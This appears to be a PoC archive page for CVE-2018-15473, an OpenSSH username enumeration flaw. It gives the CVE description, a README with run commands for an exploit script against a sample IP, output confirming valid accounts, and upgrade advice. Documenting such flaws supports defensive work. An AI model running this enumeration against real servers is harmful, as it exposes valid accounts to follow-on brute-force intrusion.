Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-15473 PoC — OpenSSH 竞争条件问题漏洞

Source
Associated Vulnerability
Title:OpenSSH 竞争条件问题漏洞 (CVE-2018-15473)
Description:OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.
Readme
## CVE-2018-15473 

**SSH-Username-Enumeration-Exploit (OpenSSH 2.3 < 7.7)**

Edited version of the original exploit: https://www.exploit-db.com/exploits/45233

* Converted to Python3

* Added username wordlist option

## How To Run

```bash

#Install the requirements:

foo@bar:~$ pip3 install -r requirements.txt

```

```bash

#For single username:

foo@bar:~$ ./Exploit.py 192.168.1.20 -u root

[+] root is a valid username

```

```bash      

#For multiple username:

foo@bar:~$ ./Exploit.py 192.168.1.20 -w username.txt

[+] root is a valid username

[-] mysql is an invalid username

[-] mike is an invalid username

[-] foo is an invalid username

[-] bar is an invalid username

Valid Users: 

root

```

```bash      

#For more option:

foo@bar:~$ ./Exploit.py -h

```

## About the Vulnerability:

The system responds differently to valid and invalid authentication attempts. A remote user can send specially crafted requests to determine valid usernames on the target system. Thus, a remote user can determine valid usernames on the target system.

## Solution:

OpenSSH server should be upgraded to, or higher than, version 7.7

File Snapshot

[4.0K] /data/pocs/e489debe1a82a63f6d9e850f9041b9a04bf62d1b ├── [3.1K] Exploit.py ├── [1.1K] README.md ├── [ 18] requirements.txt └── [ 345] username.txt 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →